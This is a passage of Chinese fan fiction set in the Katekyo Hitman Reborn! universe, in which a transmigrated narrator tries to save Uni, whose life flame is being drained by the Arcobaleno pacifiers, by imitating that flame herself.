“不论是哪个状态的你,你都是你。”没想到,反而是经常给纲吉发射死气弹的Reborn截住了纲吉的动作,“不用做没有意义的事。” 好家伙,这是Reborn的台词吗? 陌生。 “……或许,死气弹的效果应该会更好?”纲吉也有语不惊人死不休的一天。 ……? 不是我的错觉吧,纲吉和Reborn角色是不是反过来了? 这是他该有的台词吗? 这么多集,纲吉什么时候开始主动求着要挨枪子儿了? 我眼里的惊异简直无法遮掩,纲吉已经压力大到这种程度了吗? 刚才他身上那种不正常的焦虑感果然不是我的错觉。 变异了啊,纲吉君! “不,也没有到这个程度吧,也就是多花一点时间而已。”我赶紧劝了一句。 我一直无法理解觉悟释放火焰的原理,那是因为世界意识在隐隐排斥我;纲吉可是世界基石本身,我相信他理解任何东西,都只是时间问题。 “就是时间!”谈起时间,纲吉脸上那因为没有跟上思路的窘迫感逐渐消散,反而升起了一丝凝重,“就是没有那么多时间了。” 发生了什么事吗? 我疑惑。 纲吉不会无厘头地说这么一句话。 连穿越到未来,发现自己躺在棺材里这种事都经历过了,我相信纲吉的抗压力绝对超一流。 但还不等我问,Reborn就已经接上了纲吉的话茬,“冷静,阿纲,你的话能做到。” 纲吉的眼神震动,“Reborn……” 难得当面的温情发言,还不等我为这感人的发言流下一滴鳄鱼的眼泪,Reborn就继续开口,“而且,让你理解需要的知识,是我这个家庭教师的责任。” 家庭教师——关键词捕获,突然找回了主线? “这件事,就交给我了。”Reborn不愧是世界知名的泡泡老师,还是一如既往的自信。 他背后的纲吉君有一瞬间看上去好像要本能地想要枯萎,但在某种焦虑的推动下,却马上就支棱了起来。 果然有问题。 不知道是不是我的错觉,他们师徒二人互表决心的气氛,我好像完全插不进去。一直到他们俩转战家庭教师的真·主线,我都没有来得及问刚才纲吉那异常的情绪是怎么回事。 纲吉一走,其他人自然也就没有了留下来的必要,毕竟任何推进都要建立在纲吉火焰强度的基础上。其他的守护者当然也需要有相同的觉悟,不过大空绝对是最重要的核心。 说起大空来,基地里还有另外一位重要的大空,和7^3石板息息相关——尤尼酱。 按理来说,彭格列指环解除封印这么重要的事,以尤尼酱的性格,怎么也会露个面、会想要知道进度。 但刚才,我都从基地外面回来了,尤尼酱却一直没有露面。 等Reborn和纲吉离开之后,我单独问了入江正一。 “尤尼小姐?啊,还没有来得及和纲不吉君说这件事,”他微微皱眉,满是忧虑地开口,“尤尼小姐她现在在营养仓里,暂时无法离开。”??? 是我拉进度条了吗,还是我看了删减版的动漫,什么营养仓,怎么就进了营养仓? 我是什么时候漏掉了这么重要剧情! “这也是才刚刚发生不久的事。”正一可真是肝帝,不仅这几天几乎没有睡过觉,甚至还能随时关注基地内的重要动态,“最开始发现异常的人是尤尼身边的伽马。”伽马密鲁菲奥雷的战局中脱身返回尤尼酱身边的时间并不长,但他依然是对尤尼酱变化最敏锐的人。 “一开始只是精力衰减,身体指标衰弱。不过,这些都是预料之中的变化,彩虹之子奶嘴的复苏过程不可中止,所以即使尤尼小姐没有刻意加速这个过程,奶嘴依然会缓慢地消耗她的火焰、她的精力、乃至于她的生命,而且是二十四小时不间断地消耗。” 入江正一说着,还从四次元口袋里掏出一个彭格列PAD递给了我,上面记录——或者已同步传送着尤尼酱各项指标的变化。 我跳过数据直接看图,衰减的曲线很明显,不过速度平缓,直到一个拐点,数据就开始断崖式下跌。 我看了看这份数据记录的时间——大概是在彭格列指环解封前不久,也就是在小时单位内的事情。 联想刚才我一直没有来得及追问的纲吉的异常情绪……想必这就触发点了? 难怪他在焦虑时间。 但我不明白—— “为什么会这样?只是按照预期消耗火焰,不应该在这么短的时间内到这种程度,一定有触发点,”我眼睛一转,“难道是尤尼自己动手了?” 这样快速的消耗,就是在复刻原作尤尼酱死亡消失的过程。 这种事,应该是只有尤尼酱主动才能做到的事。 可先前明明已经谈妥了,无论如何都要让纲吉试试看。 看能不能利用7^3石板之间的共鸣,来替代尤尼酱的生命之火,去激发彩虹之子的活力,从而达到复活彩虹之子的目的。 尤尼酱有牺牲的觉悟,但没有人想要死,她也接受了这个尝试的计划。 “不是。”入江正一摇了摇头,“其他情况都还不明,唯一可以确定的就是,这不是尤尼小姐主动的行为。” 不是主动,那就是被动,或是被主动? 被主动……在这个基地里,有谁能够逼迫尤尼酱吗? 应该没有。 我深知,尤尼酱不论是作为自己,还是作为彩虹之子大空,在这个基地内部,都绝不会有人逼迫她做什么。 就是先前为十年后库洛姆担心的六道骸都没有实际做什么事,更遑论其他人。 那就只能是被动了。 被动…… 7^3可不是谁都能介入的东西,连7^3之间都很难彼此介入。那就只能是—— 我猛一抬眼,直勾勾地盯着正一,“是彩虹之子?是那些奶嘴?” 除了这个答案,我实在是想不出第二种可能。 一定是彩虹之子的奶嘴出了变故,否则不可能有什么可以威胁得了尤尼酱。 不论是被动,还是被主动,都一定是7^3内部的问题,一定和彩虹之子的奶嘴脱不了关系。 果然,入江正一点了点头。 他显然和我想到了一处去。 还真是!? 离谱,虽然这是我能想到的唯一可能,但我还是觉得离谱。 七个彩虹之子的奶嘴是一体的,如果是奶嘴本身出现了重大变故,使得尤尼酱受到牵连,那刚才Reborn的奶嘴也会有所表现。 但刚才的Reborn表现很正常——好吧,他身上多少也有些难以察觉的焦虑,比纲吉的表现要弱很多,可依然存在。 他脖子上带着的奶嘴也很正常——完整、明亮、有光泽,生命力十足。 如果问题既不出现在尤尼酱的主观意愿上,也不出现在彩虹之子奶嘴本身上,那岂不是只剩下其他彩虹之子的意识,这一个答案了吗? 这唯一的答案,依然离谱。 我是捅了什么离谱窝吗? “持有奶嘴的彩虹之子已死,在复活之前,绝不应该有什么主动意识的。”这最后一个答案也不应该成立,我刷着PAD屏幕快速向下翻。 只有数据,没有结论。 这件事毕竟才刚刚发生不久,多半是和我的圣地巡礼同步,入江正一知道的也并不比我多。 他当然不能轻易把猜测写到尤尼酱资料的结论一栏上,但在我面前,他倒是也有推测,“不知道是奶嘴的问题,还是死去的彩虹之子们的意识,又或是……7^3石板的活性太高产生了刺激?总而言之,现在的情况,已经不仅仅是尤尼小姐在主动用自己的火焰,缓慢激活彩虹之子奶嘴的程度了。而是奶嘴在反向地掠夺尤尼小姐的火焰,而且掠夺的速度非常快,就仿佛是、是——” 他顿了一下,似乎是认为自己的话语有些不够妥当,但最终还是压低声音,在我面前说了出来,“像是大家都等不及想要恢复生息,所以在通过奶嘴,主动加速复生的进度。” 他就差把彩虹之子在主动杀死尤尼酱这句话说出来了。 这句话妥当不妥当先不管,但从逻辑上来说就不合理。 且不说彩虹之子们的意识本就不会主动去剥夺尤尼酱的生命,单从奶嘴意义上来说,守护者们天然就有拱卫大空的义务。 在没有意识推动的情况下,其他五个奶嘴也不应该有这种主动行为。 “现在只能认为,或许是7^3石板的活跃,激发了奶嘴想要恢复原状的本能——三位一体,奶嘴也是7^3的一部分,其他彭格列指环和玛雷指环都很完整,奶嘴会有这种反向掠夺……也不是,全无可能。”入江正一只能在自己的认知里,尽可能地找出最合理的一种解释, “火焰对精神的消耗比对身体的消耗还要大,尤尼小姐状况又急转直下得太快,从意识到异常到昏迷之间,能够交代的清醒时间非常短。只有伽马一直在她身边,他在尤尼小姐清醒的最后阶段反复询问过,她无论如何都不愿意中断火焰的输送。” 尤尼酱的责任感非常重,要是能放下,之前就中断了。 在提出利用石板共鸣的计划之前,她分明就已经做好了赴死的准备,怎么可能在这里停下。 我抿着嘴,和纲吉一样的焦躁感升了起来。 入江正一拍了拍我的肩膀,“这不是我们能够左右的事。” 我确实不能左右,但我知道是谁在左右! 除了卷王之外,再没有第二个有等级、又有能力的存在了——动机,当然是祂对完整7^3石板的需求,祂也在急躁;能力,自然就是祂产生于意识,又能覆之于意识的能力,祂最大的依仗和束缚。 正如我刚才考虑的,彩虹之子的奶嘴不会主动掠夺自家大空的生命和火焰,一定有主动的推手。 7^3这种特殊的力量体系相对独立,外力很难介入。彩虹之子在三者之间,又是更加独立特殊的类型,所以能够控制彩虹之子奶嘴的,必然只有彩虹之子本身。 可是我不明白,五个彩虹之子已死,死亡的意识是不存在的。没有意识,就没有卷王的操作空间,祂又怎么能催动奶嘴的力量去做这种事呢? “如果不能尽快想到办法,尤尼小姐恐怕坚持不了多久,更可怕的还在后面,”入江正一当然不知道我此刻的天人交战,只当我的心情和他一样无力。于是,叹了一口气,手指伸到我面前,在PAD上滑动,跳到了其中某一页,“你看,奶嘴的活性增速非常快,五个奶嘴的活跃度预测越来越离谱。这项数据和尤尼小姐的火焰流失速度成正比,奶嘴越活跃,尤尼小姐的生命流逝就越快——活跃度有这种程度的预测,就意味着她的情况,很有可能还会进一步恶化。” 尤尼酱越虚弱,其他五个彩虹之子就越强壮,他们的复活进度也就越快…… 对,就是这个! 复活进度! 正一无意中的一句话突然点醒了我,我猛地瞪大眼睛。 彩虹之子的奶嘴已经被尤尼酱唤醒,彩虹之子的生命和尤尼酱连在了一起——用一种不够恰当、不好听的形容,就是另外五个人的生命已经寄生在了尤尼酱的生命上。 寄生、寄生,既然已经寄宿,自然就已经有了生机。 尤尼酱的火焰既然已经在输出,五个奶嘴的活性已经在恢复,那么和奶嘴相匹配的五个彩虹之子实际上已经在复活的中段。即,五个彩虹之子正处于复活与死亡之间。 既然他们已经在复活中断,那么相对的,他们的意识也就就处于相同的复活中段。 也即是,意识存在,但无法自主的程度。 有意识存在,这就是重点! 尤尼酱缓慢输出的火焰在那个她身体情况急转直下的拐点前,到了能够激活奶嘴中已故的彩虹之子们的意识的程度。 这就给了卷王留了一个占用他们自主意识的卡槽位置。 破案了,绝对是卷王行为。 祂产生于意识,自然就游走于任何意识之中。只不过在世界规则的束缚下,一般来说,拥有自主意识的人是自己的主人,当然不可能被卷王所控制。但五个处于复活中段的彩虹之子的特殊状况,却给卷王留了机会。 这是个大破绽。 “啧!”是我的错。 我应该提前考虑到这个破绽的。 一旦想通,我反而更加懊恼,“得先把彩虹之子的奶嘴先和尤尼分开试试看,或许能够延缓一些,尽量多争取一些时间。” 但我心里也知道,这恐怕难有收效。 入江正一虽然没有说话,但他的脸上分明也是相同的想法,甚至……有可能已经想要实践的。 只是,他恐怕拗不过尤尼酱。 而且,他手上的事很多,也不是说放下就能放下的。 我了然。 “你忙你的,这件事交给我,我去看看。”不知不觉,我就给自己揽了个不可能完成的活。 我是什么主动品种的牛马。 为什么说是不可能完成的活? 因为这是个死局。 卷王已经占据了彩虹之子意识的空缺,想要把祂挤出来,就需要正版的彩虹之子的意识;那如何恢复正版彩虹之子的意识呢?需要尽快让他们复活、完整地复活。 ——这不还是要让尤尼酱更快释放更多的火焰吗?! 进退两难。 不愧是能钻世界规则空子的卷王,不愧是八兆亿个世界卷出来的,真是卷不过祂。 极致的卡bug行为。 不过,卷王的这一行为,至少是主动否了用石板共鸣激活彩虹之子奶嘴的选项。如果那个方案对祂而言可行、收效足够,那他绝对不会贸然有如此操作。 把自己放入别人的意识空缺里可不是什么轻松的活儿,相当于是把自己无防备地放入了其他意识可以全权掌握的躯壳中,只要彩虹之子复活,随时有概率被反噬。这样的事,哪怕是对卷王来说也非常危险。 我苦中作乐地想,若是这一次卷王的“附身”行为成功了,那么卷王之后将自己完全融入7^3石板时候,应该也会更加果断和自信。 当然……还有另外一种不得不考虑的可能。 那就是共鸣法确有成功的可能,但卷王一定是想要最完整、最强大的7^3,所以祂当然想要其他五个奶嘴按照“正途”复活。 我左右斟酌,觉得后一种可能未尝不大。 但空想肯定是没有结果的,想要进一步确认,我只能亲自去尤尼酱的病房探望。 刷脸开门,伽马果然就在她身旁,脸色可不比压力巨大的纲吉、007肝帝正一好。 见有人进来,他的第一反应是警惕,而且攻击性十足。 这大概是近年来危险堆积而出的本能,不论是基里奥内罗家族时的外敌风险,还是黑魔咒在密鲁菲奥雷中的尴尬位置,都让他必须时刻紧绷精神。 看到是我,他的表情稍缓。 虽然没有正式碰过面,但我这么出名——单枪匹马干真六吊花、单枪匹马干白兰,他一定听过我,也知道我。 “我来看看尤尼。”在没有确信的答案之前,我并不打算和伽马交流尤尼酱的情况。 他没有说话,只是微微颔首算是默许。 我走近营养仓,看到了躺在里面的尤尼酱。她面色苍白,紧闭双目,眉头微蹙,像是睡不安稳。 五个有些灰败,但内里又隐隐透露出几分光彩的奶嘴正平摊在尤尼酱腹部,被她的手收拢在一起。 她的手腕很细,手臂也很瘦弱,但却紧密地守护着怀中的奶嘴。 营养仓是全封闭式的,但半透明的仓壁上跳动着许多和尤尼酱有关的数据,我跳过其他常规数据,直接看向了火焰曲线。 果然如正一所料,火焰输出的速度还在提升,提升的速度也在变快。 只是和正一分开、再到这里的一点点时间差,火焰输出的速度就至少比刚才我看到的图表,提升了两个格点。 “……尤尼她,中途有醒过吗?”我问旁边的伽马。 除了最开始的那一眼警惕,他再没有多看过我,只是摇摇头,“没有。” 沙哑的声音仿佛是在沙漠中行走的人,干涩的喉咙里没有一滴水分。 逐渐失去意识之后,尤尼酱再也没有醒来过。 难怪纲吉在这么短时间里就完成了解封,真是火烧眉毛的紧急。Reborn作为彩虹之子、尤尼酱的叔叔,心里燃烧的情绪恐怕不比纲吉少。 只不过,纲吉越急越躁,而Reborn则是越急越静。 现在不是分析他们性格的时候。 “得把奶嘴拿出来,放在尤尼身上,只会让火焰流失得更快。”我说着,就想去打开仓门,但却被伽马一把抓住。 我缓缓打出一个问号。 “尤尼昏迷前的最后一句话就是,奶嘴和她不能分开。”伽马语音沉重。 即使知道这很可能会致死,却不能忤逆尤尼酱的意志。 尤尼酱的话对伽马来说,就是定论了。 我知道多说无益,于是没有再多劝,而是坐在了营养仓前,注视着尤尼酱双手收拢护佑的五个奶嘴。 等等…… 应该不是我的错觉吧,我怎么觉得奶嘴的边缘燃烧着微弱的橙色火焰。 仿佛是注意到了我的眼神,或许也有其他人注意到过相同的东西,伽马主动给了我回应,说那就是尤尼酱燃烧生命的火焰。 那就是……尤尼酱的火焰? 我眯眼,眼神一转,看向旁边正专注的伽马,脑子里无端地冒出了一个大胆的想法。 我受限于世界的排斥,无法产生度独属于自己的原创火焰。甚至排斥逐步加重后,像晴之火焰这样有一定改造身体效果、会对人身体内部起效的火焰也逐渐对我失效。但是……我并不是完全不能使用火焰,相反,只要有原创蓝本,我甚至可以达到用盗版火焰获得胜利的地步! 石榴就是最初、最好的例子。 当然,和其他属性的火焰相比,大空火焰非常、非常之特殊。 就像,我可以复制白花花的火焰,但却复制不了玛雷指环的穿越效果——先前穿越平行时空是我自己的能力,和指环关系不大;也复制不了、甚至介入不了彭格列指环的时间穿越效果,所以才会和主角团分开,一直留在十年后的时间点疯狂舞动我的“蝴蝶翅膀”。 尤尼酱火焰的特殊性更是重量级,它不仅仅是一种能量,而且还是和五个彩虹之子相连的生命线,是生命力本身、是她的存在本身。 但或许正是因为她的火焰“不纯粹”,不是单纯的觉悟,不仅仅代表火焰,还代表了生命。所以相对的,尤尼酱的火焰,并不反对其他生命和能量的介入。 这不是我想办法堆叠的设定,不是需要人认可才能现实化的设定。而是在原本的漫画故事里,伽马就融入了尤尼酱的火焰,和尤尼酱一起牺牲了。 这是原剧情,原设定。 要知道,伽马是基里奥内罗家族首领尤尼酱的守护者,但却不是彩虹之子的守护者。 这说明,其他人——甚至哪怕是非大空属性、非彩虹之子成员的人,都有机会融入催化复活的过程中。 我重重地砸了一下自己的脑袋。 怎么能忘记这么重要的事! 我这毫无征兆的奇怪举动,让旁边的伽马向我投来了怪异的目光。 但我没时间理会。 原作的剧情里,伽马加入并没有解决尤尼酱的死局。他的火焰无法替代尤尼酱、也不能避开结局,但相融的火焰,却还是能让他们一起赴死。 虽然说,伽马在剧情里的情感意义大于实用意义,是他的加入给了尤尼酱继续下去的勇气,他是尤尼酱的安慰。 但如果不考虑剧情的情感输出,抛开伽马和尤尼酱的关系来进行分析。彩虹之子的复活,需要尤尼酱付出足以让她牺牲自己的火焰量。那伽马的加入没能改变牺牲的结局,就是因为火焰量的不够,或是火焰属性的不匹配。 火焰量和火焰属性都是伽马无法解决的问题,但他无法解决,不代表我无法解决啊! 我低头,看了看营养仓里彩虹之子奶嘴周围萦绕着的火焰,又看了看自己的掌心。 一种专业对口的自信感觉,这不就来了吗! 有现成的火焰模板正在燃烧,花一点时间,我应该能够做到完美拟态——这就解决了火焰属性的问题。 至于火焰量……那更是不在话下。 至于我产出的火焰可能因为我本身被世界排斥,而效果未知这件事……如果,卷王想要更快地复活彩虹之子、更快地让彩虹之子的奶嘴恢复活性,那就应该接受我。 让我助威,总比他雀占鸠巢、占据彩虹之子意识的风险低吧? 唯一拿不准的就是,在世界规则束缚下的卷王,究竟能不能完全抵消掉世界对我的排斥,或者说,能抵消掉多少。 我看着奶嘴边缘越发明显的火焰,和尤尼酱肉眼可见苍白的面色——算了,管不了那么多了! 卷王能抵消多少算多少,我能做到什么程度算什么程度。 无论如何,我都得尝试一下! 反正最差的情况,也不会比现在更糟糕了。 第142章 说干就干, 我做事贯彻的就是人有多大胆,地有多大产。 只要不考虑逻辑,这个世界上就不存在逻辑。 考虑到这点, 我的信心一下子就上来了。 我扑到营养仓上, 脸几乎是硬挤在仓壁上,眼睛一眨不眨地死盯着营养仓内的火焰。 别的不说,火焰的 实不相瞒, 考虑到尤尼酱的状态和年纪,我都觉得自己像个变态。 但天地良心,我这只是在仔细地观察营养仓内的火焰,简直不能更正经。 毕竟这个营养仓就像我的豆浆机, 一旦揭开盖子就会暂停工作。 尤尼酱的状态很差, 营养仓效果暂停可能会很致命,所以必须开盖即食——不对,是开盖即开工。 还有一个必须要考虑的问题,那就是容错率。 世界破破烂烂,世界意识缝缝补补, 规则打补丁打习惯了, 让我有点应激。 我担心万一失败一次,世界意识直接给我把这项技能Ban了, 所以我宁愿相信机会只有一次。 能一次成功最好。 如果失败的话…… 那我就真的无计可施, 尤尼酱非死不可了。 只不过,我这突然扑在营养仓上的行为, 无异于发癫。 旁边的伽马迅速应激, 一把扯住我的后领, 不仅拉开了变态的我, 而且还用看白花花一样的眼神看着我。 要知道, 在伽马心里,白花花是个什么样的人? 那简直是集变态和坏蛋于一身的、觊觎尤尼酱的反派大BOSS。 伽马竟然把我归到了白花花一个级别的分类?! 可恶。 我不知道比白花花正常了多少。 “喂,你想干什么?”明明我和尤尼酱之间还隔着坚不可摧的营养仓,可伽马却皱着眉,语速很快,语气也很急。 他就像一根绷紧的弦,只要稍微一拨,整个人就紧了起来,真怕他把自己给绷断了。 这绝不仅仅是我这一下的举动就能刺激出的效果,我的行为充其量就是个导火索、是个发泄点。 伽马最近一段时间堆积下来的情绪——对局势现状的紧张、对即将发生之事的恐惧、对自己无能为力的愤恨…… 诸多复杂的情绪交织,确实是无法释放——不,甚至不能说是“最近一段时间”,而应该说,是从白花花崛起、基里奥内罗家族出现危机开始,他就没有一天可以放松。 甚至可能更早。 我懂的,自己的命运、自己家族的命运、重要的尤尼酱的命运一直都在别人掌心里的那种感觉,当然不会好。 即使是现在,即使是白花花在他们的认知里已经完犊子了;即使是密鲁菲奥雷家族已经没有办法抽出足够的精力,来对付他们这些叛逃的黑魔咒成员;即使又见到了效忠的BOSS,他依然无法放松。 毕竟,他们现在到底不是在基里奥内罗家族之中,而是在彭格列的基地里。而且,上次和主角团见面的时候,他们还是敌人,还奔着不死不休的境地狠狠地干架来着。 纲吉当然不会介意,但伽马不一样,他嘴上不说,心里也不可能完全平静——或是因为自尊,或是因为长久在黑|手|党中混迹所产生的惯性思维,他不能相信纲吉会毫不在意。 伽马有这样的想法很正常,用善意揣测不久之前的敌人,对伽马这样的职业黑|手|党来说,多少有点可笑了。 毕竟,像彭格列十代家族这样,黑|手|党全员中学生的情况绝无仅有,中二少年怎么能用伽马成熟黑|手|党人的思维来衡量呢? 但,这种事又很难毫无保留地摊开到台面上来公开说。 如果这一切和原作一样,发生在紧张的战局里,上面有共同的敌人压着,自然就能最快地磨合到一起。 但现在战局不是一片向好吗?外面的矛盾小了,内部的矛盾自然就会浮出水面。 偏偏又是在这个节骨眼上,7^3石板的问题没有解决,白色装置里十年后的众人生死被石板绑架着,尤尼酱也处在慢性死亡之中——种种事件,突发的、非突发的都迫在眉睫,根本不给纲吉来两集日常篇调节一下气氛的机会。 伽马甚至错过了唯一一个庆祝宴的小日常。 这才造成了现在不上不下的情况,让伽马的心备受煎熬——而且是多重煎熬。 我这么宽宏大量,看在他如此煎熬的份儿上,我就不计较他像提猫一样,提我后领这点小过节了。 又是宰相肚里能撑船的一天,不愧是我。 我整理了一下褶皱的衣领——用力一拉,把领子竖起来的那种;接着拍了拍衣服上不存在的灰尘,悄咪咪地踮脚昂下巴,一本正经地说道:“我当然在想办法救尤尼的命啊。” 伽马愣了一下。 记得从某个美剧里看到过,人真正吃惊的时间非常短,长久维持的吃惊表情都是骗人的。 但不知是不是因为伽马是二次元人物,要给分镜留点时间的缘故,伽马愣了很久。 算上他震惊之后,神色中沉默、纠结、挣扎的时间,怎么也超过了一分钟。 一分钟不接我的话茬,你知道我这一分钟怎么过的吗! 我专门立起来的领子都塌下来了。 “……她,不希望被阻止。”伽马隔空看着营养仓,非常艰难地摇了摇头。 如果有谁最希望尤尼酱停下正在做的事情,那一定就是他——于情于理,都只能是他。 他既没有尤尼酱身为彩虹之子大空那不可推卸的责任,又不像纲吉他们一样需要启动白色装置穿越回十年前,还不想像白花花一样获取完整的7^3石板,更没有入江正一、六道骸他们需要将白色装置里的人全须全尾取出来的迫切诉求。 对伽马来说,停下来甚至不需要应对任何直接后果。只要尤尼酱停下来,黑魔咒里原先属于基里奥内罗家族的人大都仍然忠诚于尤尼酱,也尊敬着伽马,想要重建家族并不困难,一切都能很轻易地回到过去。 但,谁都能劝尤尼酱停下来,只有他不行。 他的忠诚,他的心意,他连加入密鲁菲奥雷这样的要求都不问缘由地顺从了,怎么能在这个尤尼酱最需要支持的时候,不站在她身后。 要不怎么说,家教从不缺忠犬。 我表示理解。 “我知道,而且和你不一样,我比任何人都需要完整的7^3石板——也就是需要彩虹之子的奶嘴,所以我不是要阻止尤尼现在做的事,”我甚至觉得,我应该比纲吉他们还要迫切地需要完整的7^3石板,“我只是有一个想法,或许能够在彩虹之子复活的前提下,用其他的东西,替代尤尼的……生命。” 极限一换一,这种事儿我做的最熟了。 我看着伽马的眼睛,打算借他的耳朵,提前和卷王心照不宣一下。 至少在掀桌子之前,我和卷王始终有着共同诉求。 伽马闻言瞳孔一跳,“你说什么?你……再说一次?” “准确地来说,是代替尤尼的火焰。”但对于现在的尤尼酱来说,火焰就等于生命,所以刚才我用了更有冲击性的说法来吸引伽马的主意,“我刚才是在观察尤尼酱的火焰结构。这么重要的东西,在真正使用手段替代之前,当然要好好观察一下正版火焰的结构和形态。如果……我的想法一切顺利的话,尤尼或许就不用走到那个地步了。” 伽马心有疑虑,毕竟火焰替代这事儿匪夷所思,尤其替代的还是尤尼酱的火焰。 所有火焰里,大空火焰一直是最特别的那个,像是O型血。大空火焰能打开所有其他属性的匣子,可其他属性却不能替代大空的属性;而在所有的大空之中,7^3的大空又无疑是最为特殊的一类,具有独一无二的特性,从未有人能将其替代。 可,即使理智上会有疑虑,伽马的面孔却还是肉眼可见的亮了起来,连眼睛里的高光都多了一个白点。 他不能确定我是不是在驴他,但救命稻草这种东西,本就不能用理智来分析。 能不能实际执行且不论,执行起来有多少效果也可先不谈,有一根稻草和没有稻草之间就存在着本质差别。 “之前没想太多,也没有多问尤尼激活其他奶嘴、复活其他彩虹之子的手段,所以一直没有朝这个方向想。我也是看到尤尼的火焰,才意识到……竟然是如此直接的火焰输送。” 当然那是假的,但突然有灵感总要有个能说服伽马的由头。 否则总不能用漫画原本的主线剧情这种没有出现过的东西作为依据吧? “火焰输送的手段原理很简单,不涉及什么复杂的程序,那要做的就只是单纯的代替尤尼酱生成彩虹之子大空的火焰,”我抬起自己的手,看着手背上那先前戴过五颜六色玛雷宝石的指头,特别是中指。“毕竟,我曾经用大空的玛雷指环,使用过白兰的火焰。只有我知道,这不是不可能的事。” 说着,我用力一握拳,马上就冒出些橘色的火星子。 这让伽马目瞪口呆。 ——其实这火焰和白花花的还并不完全相同,但同样的色彩、同样玛雷指环的轮廓,伽马是不可能分辨出其中区别的。 更何况,我本也不需要完全复制出彩虹之子的大空火焰,重点不是“质”,而是“量”。 “这种事竟然也存在……”伽马心里到底信了几分我不知道,但卷王肯定是听进去了。 我能够感觉到,自己手上那点火星子在伽马的声音里,燃烧得异常热烈。 卷王倒是很上道。 祂看得很清楚,尤尼酱身边的人都不希望她死,在卷王来分析的话,有一定中止的概率;但我就不一样了,我的主观能动性,百分百会发挥效果,努力激活彩虹之子的奶嘴。 “至少是个办法,我身上什么都没带,你赶紧联系入江君,他对7^3的了解最多。”我以退为进,特意提起了伽马最熟悉的科研人员。他们可是前同事,而且还是同命相连的假六吊花,彼此之间当然互有了解,“多试几次,等到火焰的波动和尤尼完全重合的时候,也许就可以——” 我没有说完,只是真诚地盯着伽马的眼睛。 如果让我直接打开营养仓,只听过我的传说、而不认识我本人的伽马绝不会允许。但我这样说,他心里反而更有底。 同时我也确定,无法融入彭格列基地的伽马,不可能在入江正一之外,再联系其他人。 伽马开了口,事关尤尼酱,正一不会犹豫,一定会马上前来;同时,Reborn正在给纲吉紧急补习,在没有确切答案之前,他也不会马上公布消息,只会只身前来。 拿捏! 可给我牛坏了! 想要说服Reborn同意我对尤尼酱动手动脚——呸,是动手脚,几乎不可能。但只是正一的话,情况就大不相同了。 只要不刻意提那个会被正一戳穿的灵感来源,其他还不是随便我编? 我开始在脑中预演、准备说辞,怎么样才能让正一快速接受我的方案。 最好是能背着Reborn。 我总觉得,他看我的眼神很有问题,有种说不上来的诡异。 说是警惕,也不完全是;但若说是信任,就更谈不上了。 我相信我的直觉,他肯定在悄咪咪地背刺我的人设,这种事我经历多了。 这一次,我肯定会在被掀马甲背刺之前,做完一切。 我正这样想着,一串红光便突然在眼前闪过。 发生甚么事了? 原来,就在伽马行动的一瞬间,尤尼酱的营养仓突然发出了尖锐爆鸣。 这是强烈警告的声音,是尤尼酱生命值在急速下滑的警告。 不等我和伽马之中的谁去看营养仓上的电子屏幕,“咔”的一声响动,屏幕就裂开了。 紧接着,在尖锐的声音之中,连营养仓的仓壁都沿着屏幕的裂痕一起,从中断开。 我还没开始发力呢,营养仓怎么就先出了问题? 走近一看,就瞧见不仅是仓壁,就连仓底也有裂痕。火焰汇聚的冲击覆盖在仓内,大空调和的属性让其变得非常脆,营养仓被石化成了另外一种材质。 营养仓变仿佛成了个棺材,尤尼酱躺在里面,让人新生不安。 接着,橘色的火焰便将营养仓彻底摧毁,尤其是盖子,裂成了几块,松垮地卡在尤尼酱的身体上。 这可是尤尼酱温柔的火焰,和战斗系热血少年纲吉不一样,她的火焰没有一点攻击性。 火焰没有攻击性都能达到摧毁效果,那可以说是纯靠走量取胜——一瞬间用起来的火焰量,太大了。 这意味着,尤尼酱的火焰在压榨着尤尼酱身体的潜力,爆发性增长。 这和给自己大动脉捅了一刀有什么区别? 我迅速就猜到了罪魁祸首。 开玩笑的吧,卷王桑,你这么着急的吗? 连伽马喊人,让入江正一赶来的时间都等不了? 演都不演了,这和在我面前打明牌有什么区别,简直让我连糊涂都要装不下去了。 因为前面有个7^3做挡箭牌,所以就肆无忌惮了? 先前只是暗暗推进五个奶嘴的掠夺性也就罢了,现在出现这样骤然的激烈变故,以尤尼酱的接受能力和特殊力量,我很担心卷王自己会直接在尤尼酱——乃至于正在复活的五个彩虹之子面前掉马。 卷王是这么冲动的存在吗? 拼尽全力都要加速7^3汇聚的过程? 祂能在八兆亿个世界中脱颖而出,经历无数时间的磨砺,绝对不应该这样冲动、这样稳不住心态。 我不理解为什么卷王能这么着急。 明明之前都能等我在几千个世界里穿越,积攒对白花花的仇恨值;也能一直把自己隐藏在白花花平行穿越的能力之后,让我以为破坏世界壁垒的是某个平行的白花花。 但,不知道从什么时候开始,祂就变得非常急躁。 我和斯库瓦罗一起去干白花花的时候,我就隐约有这种感觉,祂的影响太主动了。 但当时正在享受卷王的巅峰期,那种纯天然无副作用的超高校级幸运的感觉,确实非常爽,让人忍不住想要沉溺其中。 只是,那样直白的干涉,彰显自己的存在,对卷王来说并不高明。 现在更是到了我稍微一表示,卷王马上就会激烈回应的地步,仿佛生怕我不知道背后有祂这么一个支持者。 这合理吗? 明明,从八兆亿个世界卷出来所花费的时间,绝对不是我可以轻易想象的。那么多时间祂都等下来了,怎么走到这最后几步,祂反而等不了了呢? 难道是祂膨胀了? 不,这种急躁更像是有什么东西在祂背后追赶着、逼迫着。 有问题,有大问题。 一定还有什么我没有注意到的东西潜藏在周围,只是我现在还没有想清楚。 我和卷王有着暂时的统一战线,正在逼迫卷王的东西,是不是也潜在地威胁着我? 我沿着这条思路快速思考,但营养仓已经坏了,尤尼酱的火焰大肆地张扬,她怀中那五个彩虹之子的奶嘴已经有了明显的色彩,奶嘴上还逐渐长出了几个彩虹之子的身体部分。 显然,彩虹之子的复活进程全面加快。 这下,伽马可就坐不住了。 “不行,这样下去,她坚持不了多久。”他猛转头,看我的眼神就像是饿极了的人看肉一样。 在卷王的推进下,我确实是直接被架到了火炉上,伽马又何尝不是? 他是真的没有选择,从尤尼酱母亲的决定开始,就一直没有过选择。 惨·伽马·惨。 我抬手,一把抓住了他的手,制止了他想要将自己火焰融入其中的想法。 原作的剧情告诉我,他的火焰量,就算是加进去也没有用。 我果断道:“死马当活马医,我来。” 只是很难说,这个“马”究竟是伽马、是尤尼酱,还是卷王。 “营养仓没用了,得把它完全打开我才好动手。” 其实不用我多说,伽马自己就已经率先动手,将碎裂的仓壁推开,以防有东西砸在尤尼酱身上。 没有了阻隔,我看得更真切。 大空的火焰真是明亮,尤尼酱的更是其中的重量级,像是冬日正午的阳光沁人心脾,穿过层层外衣的包裹,映入人心。 我朝着伽马挥了挥手,“你退远一点,不要影响我发挥。” 